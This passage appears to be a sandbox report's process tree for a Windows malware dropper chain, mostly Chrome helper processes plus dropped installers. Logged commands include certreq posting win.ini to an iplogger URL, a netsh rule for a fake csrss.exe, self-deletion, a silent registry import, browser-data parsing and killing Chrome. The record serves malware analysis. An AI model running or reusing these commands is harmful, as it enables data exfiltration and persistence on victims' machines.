                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3900 /prefetch:8
                                                                                                                                                                  20⤵
                                                                                                                                                                    PID:6492
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5080 /prefetch:8
                                                                                                                                                                    20⤵
                                                                                                                                                                      PID:7040
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4768 /prefetch:8
                                                                                                                                                                      20⤵
                                                                                                                                                                        PID:6940
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4940 /prefetch:8
                                                                                                                                                                        20⤵
                                                                                                                                                                          PID:5624
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3920 /prefetch:8
                                                                                                                                                                          20⤵
                                                                                                                                                                            PID:4672
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=780 /prefetch:8
                                                                                                                                                                            20⤵
                                                                                                                                                                              PID:6536
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4768 /prefetch:8
                                                                                                                                                                              20⤵
                                                                                                                                                                                PID:7132
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4260 /prefetch:8
                                                                                                                                                                                20⤵
                                                                                                                                                                                  PID:5484
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4092 /prefetch:8
                                                                                                                                                                                  20⤵
                                                                                                                                                                                    PID:4968
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3884 /prefetch:8
                                                                                                                                                                                    20⤵
                                                                                                                                                                                      PID:6548
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4460 /prefetch:8
                                                                                                                                                                                      20⤵
                                                                                                                                                                                        PID:7092
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4520 /prefetch:8
                                                                                                                                                                                        20⤵
                                                                                                                                                                                          PID:6576
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3928 /prefetch:8
                                                                                                                                                                                          20⤵
                                                                                                                                                                                            PID:3392
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4032 /prefetch:1
                                                                                                                                                                                            20⤵
                                                                                                                                                                                              PID:6108
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=172 /prefetch:8
                                                                                                                                                                                              20⤵
                                                                                                                                                                                                PID:6468
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1888 /prefetch:8
                                                                                                                                                                                                20⤵
                                                                                                                                                                                                  PID:736
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2220 /prefetch:8
                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                    PID:6420
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4080 /prefetch:8
                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                      PID:5372
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3888 /prefetch:8
                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                        PID:5024
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1888 /prefetch:8
                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                          PID:6200
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=172 /prefetch:8
                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                            PID:5084
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:1
                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                              PID:6816
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3608 /prefetch:8
                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                PID:6620
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=876 /prefetch:8
                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                  PID:6332
                                                                                                                                                                                                        • C:\Windows\regedit.exe
                                                                                                                                                                                                          regedit /s chrome-set.reg
                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                          • Runs .reg file with regedit
                                                                                                                                                                                                          PID:6212
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exe
                                                                                                                                                                                                          parse.exe -f json -b firefox
                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                            PID:7160
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exe
                                                                                                                                                                                                            parse.exe -f json -b chrome
                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                              PID:6564
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exe
                                                                                                                                                                                                              parse.exe -f json -b edge
                                                                                                                                                                                                              16⤵
                                                                                                                                                                                                                PID:6684
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-JF0TP.tmp\DataFinder.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-JF0TP.tmp\DataFinder.exe" /Verysilent
                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                          PID:4176
                                                                                                                                                                                                          • C:\Users\Admin\Services.exe
                                                                                                                                                                                                            "C:\Users\Admin\Services.exe"
                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                              PID:2060
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-JF0TP.tmp\Delta.exe
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-JF0TP.tmp\Delta.exe" /Verysilent
                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                              PID:5920
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-KRS5H.tmp\Delta.tmp
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-KRS5H.tmp\Delta.tmp" /SL5="$304C8,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-JF0TP.tmp\Delta.exe" /Verysilent
                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                  PID:6584
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2utmbpjvvqg\vict.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\2utmbpjvvqg\vict.exe" /VERYSILENT /id=535
                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                          PID:4292
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-PMOU9.tmp\vict.tmp
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-PMOU9.tmp\vict.tmp" /SL5="$3027C,870426,780800,C:\Users\Admin\AppData\Local\Temp\2utmbpjvvqg\vict.exe" /VERYSILENT /id=535
                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                              PID:4360
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-5P4UC.tmp\wimapi.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-5P4UC.tmp\wimapi.exe" 535
                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                  PID:4984
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\AVayuwrhO.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\AVayuwrhO.exe"
                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                      PID:6196
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\uu4qadaiefj\053yhpk444n.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\uu4qadaiefj\053yhpk444n.exe" 57a764d042bf8
                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                  PID:4412
                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k "C:\Program Files\9RELFZYO2U\9RELFZYO2.exe" 57a764d042bf8 & exit
                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                      PID:5576
                                                                                                                                                                                                                      • C:\Program Files\9RELFZYO2U\9RELFZYO2.exe
                                                                                                                                                                                                                        "C:\Program Files\9RELFZYO2U\9RELFZYO2.exe" 57a764d042bf8
                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                          PID:5680
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\xgrch44tkfp\2y2o1siibsj.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\xgrch44tkfp\2y2o1siibsj.exe" /ustwo INSTALL
                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                        PID:4508
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 652
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:3008
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 668
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:5040
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 624
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:4696
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 676
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:5044
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 884
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:5144
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 928
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:5564
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 1180
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:5800
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 1192
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:5884
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 1288
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:5972
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 1280
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:6048
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\i5gf5xio5p5\app.exe
                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\i5gf5xio5p5\app.exe" /8-23
                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                          PID:4544
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\i5gf5xio5p5\app.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\i5gf5xio5p5\app.exe" /8-23
                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                              PID:4328
                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                  PID:3808
                                                                                                                                                                                                                                  • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                      PID:6196
                                                                                                                                                                                                                                  • C:\Windows\rss\csrss.exe
                                                                                                                                                                                                                                    C:\Windows\rss\csrss.exe /8-23
                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                      PID:6868
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\kxyqln3ekgs\IBInstaller_97039.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\kxyqln3ekgs\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                    PID:4568
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-MHA1R.tmp\IBInstaller_97039.tmp
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-MHA1R.tmp\IBInstaller_97039.tmp" /SL5="$30380,14437942,721408,C:\Users\Admin\AppData\Local\Temp\kxyqln3ekgs\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                        PID:4632
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          "cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                            PID:5100
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-0OD0T.tmp\{app}\chrome_proxy.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-0OD0T.tmp\{app}\chrome_proxy.exe"
                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                              PID:644
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a3io52qzszn\chashepro3.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a3io52qzszn\chashepro3.exe" /VERYSILENT
                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                            PID:4652
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-HQC2D.tmp\chashepro3.tmp
                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-HQC2D.tmp\chashepro3.tmp" /SL5="$60086,1446038,58368,C:\Users\Admin\AppData\Local\Temp\a3io52qzszn\chashepro3.exe" /VERYSILENT
                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                PID:4700
                                                                                                                                                                                                                                                • C:\Program Files (x86)\JCleaner\5.exe
                                                                                                                                                                                                                                                  "C:\Program Files (x86)\JCleaner\5.exe"
                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                    PID:4800
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\JCleaner\5.exe"
                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                        PID:5448
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                          timeout /T 10 /NOBREAK
                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                          PID:4460
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      "cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                        PID:4812
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\certreq.exe
                                                                                                                                                                                                                                                          certreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                                            PID:5072
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"
                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                            PID:4848
                                                                                                                                                                                                                                                          • C:\Program Files (x86)\JCleaner\whiterauf.exe
                                                                                                                                                                                                                                                            "C:\Program Files (x86)\JCleaner\whiterauf.exe"
                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                              PID:4872
                                                                                                                                                                                                                                                              • C:\Program Files (x86)\JCleaner\whiterauf.exe
                                                                                                                                                                                                                                                                "{path}"
                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                  PID:4676
                                                                                                                                                                                                                                                              • C:\Program Files (x86)\JCleaner\Venita.exe
                                                                                                                                                                                                                                                                "C:\Program Files (x86)\JCleaner\Venita.exe"
                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                  PID:4864
                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\JCleaner\Venita.exe
                                                                                                                                                                                                                                                                    "{path}"
                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                      PID:5512
                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\JCleaner\Venita.exe
                                                                                                                                                                                                                                                                      "{path}"
                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                        PID:4216
                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\JCleaner\Venita.exe
                                                                                                                                                                                                                                                                        "{path}"
                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                          PID:4356
                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\JCleaner\Abbas.exe
                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\JCleaner\Abbas.exe"
                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                          PID:4856
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          "cmd.exe" /c "start https://iplogger.org/1aSny7"
                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                            PID:4840
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\vy0wj5qbu0h\4jed2mvvi0s.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\vy0wj5qbu0h\4jed2mvvi0s.exe" testparams
                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                          PID:4748
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\svkp1qd1oso\tvc1zjvzu2r.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\svkp1qd1oso\tvc1zjvzu2r.exe" /VERYSILENT /p=testparams
                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                              PID:5468
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-L8IN8.tmp\tvc1zjvzu2r.tmp
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-L8IN8.tmp\tvc1zjvzu2r.tmp" /SL5="$203DE,329392,58368,C:\Users\Admin\AppData\Roaming\svkp1qd1oso\tvc1zjvzu2r.exe" /VERYSILENT /p=testparams
                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                  PID:5520
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\bon3jrs23ox\vpn.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\bon3jrs23ox\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                PID:4820
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-D52TQ.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-D52TQ.tmp\vpn.tmp" /SL5="$70086,15170975,270336,C:\Users\Admin\AppData\Local\Temp\bon3jrs23ox\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                    PID:5032
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                        PID:4380
                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                          tapinstall.exe remove tap0901
                                                                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                                                                            PID:4716
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                            PID:4492
                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                              tapinstall.exe install OemVista.inf tap0901
                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                PID:5748
                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                PID:6328
                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                  PID:2296
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:2208
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:856
